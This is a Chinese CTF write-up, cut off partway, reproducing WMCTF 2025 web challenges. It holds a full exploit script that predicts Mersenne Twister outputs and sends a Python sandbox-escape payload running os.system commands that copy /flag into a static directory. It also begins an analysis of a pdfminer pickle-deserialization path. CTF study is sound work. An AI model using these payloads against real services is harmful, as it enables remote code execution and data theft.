0%

2025WMCTF|WEB|复现

前言:

比赛难度还是挺大的,当时给错过了,赛后自己搭建环境来尝试做一下并进行一下复现

guess

描述:无

考点:MT伪随机数预测、python内置函数被删除的沙箱逃逸

直接代码审计,找到一个命令执行的点,但是这里把内置函数给移除了

那么这里就是需要打python针对内置函数被删除的沙箱逃逸了

1
[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

payload先放一边,要到达命令执行处还需要条件,当key1=key2时才行

分析代码可知key2是一个随机数并且如果当我们输入的key1不等于key2时还会得到下一次的key2,所以这里需要的就是预测随机数

观察一下随机数生成的方法,很明显是一个MT伪随机数

所以到这里考点很清晰了,先是一个MT伪随机数的预测接着就可以利用python沙箱逃逸进行RCE

直接搞个exp:(可以多运行几次,有时候预测结果不准)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import os
from randcrack import RandCrack

def collect_random(url):
print("[+] 开始收集随机数")
username = str(os.urandom(10))
password = "123456"

register_url = url + "/register"
login_data = {"username": username, "password": password}
response = requests.post(url=register_url, json=login_data)
print(f"[+] 注册成功")

user_id = response.json()["user_id"].strip(":")[1]
print(f"[+] 获取到用户ID: {user_id}")

random_numbers = [int(user_id)]
api_url = url + "/api"

for i in range(623):
data = {"key": "0"}
response = requests.post(url=api_url, json=data)

key2 = response.json()['message'].split(':')[1]
random_numbers.append(int(key2))
print(f"[+] 收集到的第{i + 1}个随机数:{key2}")

return random_numbers

def random_attack(url, random_numbers):
print("[+] 预测开始")
rc = RandCrack()

for random in random_numbers:
rc.submit(random)

try:
next_random = rc.predict_getrandbits(32)
print(f"[+] 预测的下一个随机数:{str(next_random)}")
except Exception as e:
print(f"[-] 预测失败: {e}")
return

api_url = url + "/api"
payload = "[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')"

data = {"key": str(next_random), "payload": payload}
try:
response = requests.post(url=api_url, json=data)
if response.status_code == 200:
print("[+] 攻击成功")
print(f"[+] 执行结果:{response.text}")
except Exception as e:
print(f"[-] 攻击失败:{e}")

if __name__ == '__main__':
url = "http://x.x.x.x:xxxx"
random_numbers = collect_random(url)
random_attack(url, random_numbers)

发现已经成功绕过了,但是命令执行为空,可能是无回显且环境是不出网的所以需要写入到文件。但是由于文件写入到app目录没法直接访问(由于我是自己搭的环境所以我直接去环境里看了确实是写入了)

既然app目录无法直接读取文件,那么就创建一个静态目录/static再写入(注意只能是/static,因为只有 /static 目录和 /templates 目录是 Flask 应用默认识别的目录)

最终一把梭exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import os
from randcrack import RandCrack

def collect_random(url):
print("[+] 开始收集随机数")
username = str(os.urandom(10))
password = "123456"

register_url = url + "/register"
login_data = {"username": username, "password": password}
response = requests.post(url=register_url, json=login_data)
print(f"[+] 注册成功")

user_id = response.json()["user_id"].strip(":")[1]
print(f"[+] 获取到用户ID: {user_id}")

random_numbers = [int(user_id)]
api_url = url + "/api"

for i in range(623):
data = {"key": "0"}
response = requests.post(url=api_url, json=data)

key2 = response.json()['message'].split(':')[1]
random_numbers.append(int(key2))
print(f"[+] 收集到的第{i + 1}个随机数:{key2}")

return random_numbers

def random_attack(url, random_numbers):
print("[+] 预测开始")
rc = RandCrack()

for random in random_numbers:
rc.submit(random)

try:
next_random = rc.predict_getrandbits(32)
print(f"[+] 预测的下一个随机数:{str(next_random)}")
except Exception as e:
print(f"[-] 预测失败: {e}")
return

api_url = url + "/api"
payload = "[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('mkdir static && cat /flag > /app/static/1.txt')"

data = {"key": str(next_random), "payload": payload}
try:
response = requests.post(url=api_url, json=data)
if response.status_code == 200:
print("[+] 攻击成功")
print(f"[+] 执行结果:{response.text}")
except Exception as e:
print(f"[-] 攻击失败:{e}")

flag_url = url + "/static/1.txt"
try:
response = requests.get(url=flag_url)
if response.status_code == 200:
print(f"[+] FLAG:{response.text}")
except Exception as e:
print(f"[-] 攻击失败:{e}")

if __name__ == '__main__':
url = "http://x.x.x.x:xxxx"
random_numbers = collect_random(url)
random_attack(url, random_numbers)

pdf2text

描述:无

考点:

题目给了源码,有两个py文件

初步代码审计一下功能

1
2
app.py:主文件,上传pdf文件到uploads目录,并将pdf文件转化为txt文件
pdfutil.py:提供将pdf文件转化为txt文件的方法pdf_to_text

这里本来我的思路是去追一下PDFParser和PDFDocument这两个方法,但是发现并没有什么利用点

后面看了一下wp,发现居然是直接去pdfminer库里找漏洞。。。

在pdfminer库的cmapdb.py可以找到一个pickle.loads()(注意这里要跟requirements.txt里一样的pdfminer.six注意不要安成pdfminer了),可能存在pickle反序列化

利用ai帮忙进行分析,这里__load_data()会被调用的两种情况为:

第一种:当 PDF 文档包含中文、日文、韩文等需要使用 CID 字体的文本时

1
2
3
4
5
6
7
8
9
10
11
12
pdf_to_text(pdf_path, txt_path)
→ extract_pages(pdf_path)
→ PDFPage.get_pages(fp, ...)
→ PDFDocument(parser, ...)
→ PDFPage.create_pages(document)
→ 处理页面时初始化资源
→ PDFPageInterpreter.init_resources(resources)
→ PDFResourceManager.get_font(objid, spec)
→ PDFCIDFont.__init__(rsrcmgr, spec)
→ PDFCIDFont.get_cmap_from_spec(spec, strict)
→ CMapDB.get_cmap(cmap_name)
→ CMapDB._load_data(name)

第二种:当需要将字符 ID 转换为 Unicode 字符时

1
2
3
4
5
6
7
8
9
10
11
12
PDFPageInterpreter.process_page(page)
→ PDFPageInterpreter.render_contents(page.resources, page.contents)
→ PDFPageInterpreter.execute(streams)
→ 处理文本操作符 (Tj, TJ, ', ")
→ PDFPageInterpreter.do_TJ(seq) 或 do_Tj(s)
→ PDFDevice.render_string()
→ 需要将字符代码转换为 Unicode
→ PDFFont.to_unichr(cid)
→ PDFCIDFont.to_unichr(cid)
→ self.unicode_map.get_unichr(cid)
→ CMapDB.get_unicode_map()
→ CMapDB._load_data("to-unicode-" + name)

所以根据源码,这里我们可利用的也就是通过第一种方式来调用_load_data()

这里进行一下测试看看能不能被调用到

先用python生成一个测试的pdf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from reportlab.pdfgen import canvas
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.cidfonts import UnicodeCIDFont
import io

def create_cid_font_pdf():
"""创建一个包含 CID 字体的测试 PDF"""
buffer = io.BytesIO()

# 创建 PDF
c = canvas.Canvas(buffer)

# 注册 CID 字体
pdfmetrics.registerFont(UnicodeCIDFont('STSong-Light'))

# 设置字体 - 这会触发 CID 字体处理
c.setFont('STSong-Light', 12)

# 写入中文字符 - 这会使用 CID 编码
c.drawString(100, 100, "测试")

# 保存
c.save()

buffer.seek(0)
return buffer.getvalue()

# 生成测试 PDF
pdf_data = create_cid_font_pdf()
with open('test.pdf', 'wb') as f:
f.write(pdf_data)

接着在_load_data()里进行处理

最后写一个测试poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pdfminer.high_level import extract_pages
from pdfminer.layout import LTTextContainer

def pdf_to_text(pdf_path, txt_path):
with open(txt_path, 'w', encoding='utf-8') as txt:
for page_layout in extract_pages(pdf_path):
for element in page_layout:
if isinstance(element, LTTextContainer):
txt.write(element.get_text())
txt.write('\n')

def main():
try:
pdf_to_text('test.pdf', 'output.txt')
except Exception as e:
return str(e), 500

if __name__ == '__main__':
main()

运行发现确实调用到了

但是只调用还不够,